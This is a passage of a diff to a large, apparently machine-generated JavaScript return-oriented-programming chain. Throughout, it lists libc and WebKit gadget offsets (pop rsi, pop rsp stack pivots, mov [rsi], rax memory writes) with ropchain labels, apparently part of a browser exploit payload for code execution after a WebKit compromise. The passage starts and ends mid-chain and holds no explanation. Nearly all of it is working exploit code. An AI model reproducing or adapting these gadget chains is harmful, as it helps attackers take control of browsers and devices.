+set_gadget(libc_base+793877,); //pop rsi +//L5332: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx +libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); +//L5334: db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+14959219, //cmp rax, rcx ; sete al -webkit_base+48555, //setl al -libc_base+269973, //movzx eax, al -libc_base+793877, //pop rsi -ropchain+303464, //L5591 -webkit_base+7438103, //mov [rsi], rax +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+303480, //L5592 +ropchain+298472, //L5338 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+303448, //L5590 +ropchain+298456, //L5336 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5590: +//L5336: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5591: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5592: +//L5338: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+303584, //L5595 +ropchain+298608, //L5341 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+303632, //L5597 +ropchain+298672, //L5344 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+303616, //L5596 +ropchain+298624, //L5340 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+298656, //L5343 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5595: +//L5341: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L5340: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L5594: +//L5342: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5596: +//L5343: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5597: +//L5344: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+303744, //L5598+8 +ropchain+298784, //L5345+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+303736, //L5598 +ropchain+298776, //L5345 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L5598: +//L5345: db([0, 0]); // 0x0 set_gadgets([ -ropchain+303760, //L5598+24 -ropchain+303776, //L5593 -libc_base+811575, //pop rsp -ropchain+303792, //L5599 -//L5593: -libc_base+811575, //pop rsp -ropchain+305544, //L5600 -//L5599: -libc_base+50775, //mov rax, rdi +ropchain+298800, //L5345+24 +ropchain+306696, //L5339 +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L5346: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5347: +db([4294967276, 4294967295]); // -0x14 +set_gadgets([ +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+303832, //L5602 +ropchain+298896, //L5350 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+792472 //pop rcx ]); -//L5602: +//L5349: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5601: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5603: +//L5350: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+303960, //L5605 +ropchain+298952, //L5352 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L5352: +db([0, 0]); // 0x0 +//L5351: +set_gadgets([ libc_base+793877, //pop rsi -ropchain+303944, //L5604 +ropchain+299000, //L5354 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L5604: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5605: +//L5354: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +//L5355: +db([4294967276, 4294967295]); // -0x14 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+759626, //mov rax, r8 +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+304056, //L5607 +ropchain+299120, //L5359 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+299104, //L5357 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5606: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+788575,); //pop rax -//L5607: +//L5357: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5359: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877 //pop rsi +libc_base+191169, //mov eax, [rdi] +libc_base+793877, //pop rsi +ropchain+299288, //L5362 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+299304, //L5363 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+299272, //L5360 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+299256, //L5361 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -db([8, 0]); // 0x8 +//L5361: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L5360: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5362: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5363: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+304136, //L5608 +ropchain+299376, //L5364 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+793877, //pop rsi +ropchain+299392, //L5365 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L5608: +//L5364: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5365: db([0, 0]); // 0x0 set_gadgets([ -libc_base+471355, //mov [rdi], rax +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+304192, //L5611 +ropchain+299488, //L5367 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+299472, //L5366 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L5611: +//L5366: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5367: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -40610,73 +39625,98 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+304288, //L5614 +ropchain+299568, //L5368 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5612: -db([4294967272, 4294967295]); // -0x18 -set_gadget(libc_base+792472,); //pop rcx -//L5614: +//L5368: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5369: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+304392, //L5617 +ropchain+299688, //L5373 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+304376, //L5616 +ropchain+299672, //L5371 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5616: +//L5371: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5617: +//L5373: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+191169, //mov eax, [rdi] +libc_base+793877, //pop rsi +ropchain+299856, //L5376 +webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+304552, //L5621 +ropchain+299872, //L5377 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+304504, //L5618 +ropchain+299840, //L5374 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+304536, //L5620 +ropchain+299824, //L5375 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5618: +//L5375: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5619: -db([8, 0]); // 0x8 +//L5374: +db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5620: +//L5376: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5621: +//L5377: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+1506828, //imul rax, rcx +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+299944, //L5378 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+299960, //L5379 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi +]); +//L5378: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5379: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+300064, //L5380 +webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+304624, //L5622 +ropchain+300096, //L5382 webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+304640, //L5623 +ropchain+300080, //L5381 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5622: +//L5380: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5381: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5623: +//L5382: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -40685,597 +39725,626 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1838146, //add rax, rcx +webkit_base+14959219, //cmp rax, rcx ; sete al +webkit_base+48555, //setl al +libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+304728, //L5624 +ropchain+300264, //L5384 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5624: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+304784, //L5627 +ropchain+300280, //L5385 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+300248, //L5383 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5627: +//L5383: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5384: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5385: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+304856, //L5628 +ropchain+300384, //L5388 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+793877, //pop rsi +ropchain+300432, //L5390 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+300416, //L5389 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5628: +//L5388: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5387: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5389: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5390: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+304912, //L5631 +ropchain+300544, //L5391+8 +libc_base+547636, //add rax, rsi +libc_base+186490, //mov rax, [rax] +libc_base+793877, //pop rsi +ropchain+300536, //L5391 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp ]); -//L5631: +//L5391: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+2997875, //mov [rax], rcx -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L5632: +ropchain+300560, //L5391+24 +ropchain+300576, //L5386 +libc_base+811575, //pop rsp +ropchain+300592, //L5392 +//L5386: +libc_base+811575, //pop rsp +ropchain+305464, //L5393 +//L5392: libc_base+793877, //pop rsi -ropchain+305016, //L5635 +ropchain+300632, //L5394 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5633: -db([4294967272, 4294967295]); // -0x18 -set_gadget(libc_base+792472,); //pop rcx -//L5635: +//L5394: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5395: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+305120, //L5638 +ropchain+300752, //L5399 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+305104, //L5637 +ropchain+300736, //L5397 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5637: +//L5397: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5638: +//L5399: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+305264, //L5641 +ropchain+300896, //L5402 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+305232, //L5639 +ropchain+300864, //L5400 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+305248, //L5640 +ropchain+300880, //L5401 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5639: +//L5400: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5640: +//L5401: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5641: +//L5402: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+305352, //L5643 +ropchain+300968, //L5403 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5642: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L5643: +//L5403: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+305424, //L5646 +ropchain+301024, //L5405 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5644: -db([4294967272, 4294967295]); // -0x18 -set_gadget(libc_base+792472,); //pop rcx -//L5646: +//L5405: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+2997875, //mov [rax], rcx +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+305488, //L5647 +ropchain+301104, //L5407 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+759626, //mov rax, r8 libc_base+792472 //pop rcx ]); -//L5647: +//L5407: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5408: +db([4294967276, 4294967295]); // -0x14 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+811575, //pop rsp -ropchain+301296, //L5543 -//L5600: +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+301224, //L5412 +webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+305584, //L5650 +ropchain+301208, //L5410 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L5650: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5649: +//L5410: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5651: +//L5412: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+305720, //L5654 +ropchain+301392, //L5415 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+305768, //L5656 +ropchain+301408, //L5416 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+301376, //L5413 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+305752, //L5655 +ropchain+301360, //L5414 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5654: +//L5414: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L5653: +set_gadget(libc_base+792472,); //pop rcx +//L5413: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5655: +//L5415: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5656: +//L5416: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+11676600, //cmp rax, rsi ; sete al -libc_base+269973, //movzx eax, al -webkit_base+414627, //shl rax, 3 +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+305880, //L5657+8 -libc_base+547636, //add rax, rsi -libc_base+186490, //mov rax, [rax] +ropchain+301512, //L5417 +webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+305872, //L5657 +ropchain+301544, //L5419 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 -libc_base+811575 //pop rsp -]); -//L5657: -db([0, 0]); // 0x0 -set_gadgets([ -ropchain+305896, //L5657+24 -ropchain+305912, //L5652 -libc_base+811575, //pop rsp -ropchain+301032, //L5535 -//L5652: -//L5658: -libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+305968, //L5660 +ropchain+301528, //L5418 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L5659: -db([4294967280, 4294967295]); // -0x10 +libc_base+792472 //pop rcx +]); +//L5417: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L5418: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5660: +//L5419: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+306048, //L5661 +ropchain+301632, //L5420 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5661: +//L5420: db([0, 0]); // 0x0 set_gadgets([ -libc_base+471355, //mov [rdi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+306104, //L5664 +ropchain+301688, //L5422 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5664: +//L5422: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+306200, //L5667 +ropchain+301824, //L5425 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L5665: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5667: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+306304, //L5670 +ropchain+301840, //L5426 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+306288, //L5669 +ropchain+301808, //L5424 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5669: +//L5424: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5670: +//L5425: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5426: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] +libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+306472, //L5673 +ropchain+302000, //L5430 webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+306488, //L5674 +ropchain+301952, //L5428 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+306440, //L5671 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+306456, //L5672 +ropchain+301984, //L5429 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5671: +//L5428: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5672: -db([0, 0]); // 0x0 +//L5427: +db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L5673: +//L5429: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5674: +//L5430: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+877546, //shl rax, cl +libc_base+793877, //pop rsi +ropchain+302056, //L5432 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+206806 //pop rdi +]); +//L5432: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+306560, //L5675 +ropchain+302160, //L5434 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+306576, //L5676 +ropchain+302192, //L5435 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+302176, //L5433 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5675: +//L5434: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L5433: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5676: +//L5435: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+306672, //L5678 +ropchain+302352, //L5439 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+302304, //L5437 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+306656, //L5677 +ropchain+302336, //L5438 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5677: +//L5437: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L5436: +db([24, 0]); // 0x18 +set_gadget(libc_base+206806,); //pop rdi +//L5438: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5678: +//L5439: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +libc_base+877546, //shl rax, cl +libc_base+793877, //pop rsi +ropchain+302408, //L5441 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+206806 //pop rdi ]); -//L5679: -db([8, 0]); // 0x8 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +//L5441: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi +libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+306800, //L5681 +ropchain+302512, //L5443 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+302544, //L5444 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+302528, //L5442 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5681: +//L5443: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L5442: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5680: -db([8, 0]); // 0x8 -set_gadget(libc_base+206806,); //pop rdi -//L5682: -db([8, 0]); // 0x8 +//L5444: +db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+306936, //L5683 +ropchain+302704, //L5448 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+306968, //L5685 +ropchain+302656, //L5446 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+306952, //L5684 +ropchain+302688, //L5447 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5683: +//L5446: db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L5445: +db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L5684: +//L5447: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5685: +//L5448: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi +libc_base+877546, //shl rax, cl +libc_base+793877, //pop rsi +ropchain+302760, //L5450 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+206806 //pop rdi ]); -db([4294967288, 4294967295]); // -0x8 +//L5450: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1506828, //imul rax, rcx +libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+307072, //L5686 +ropchain+302864, //L5452 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+307088, //L5687 +ropchain+302896, //L5453 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+302880, //L5451 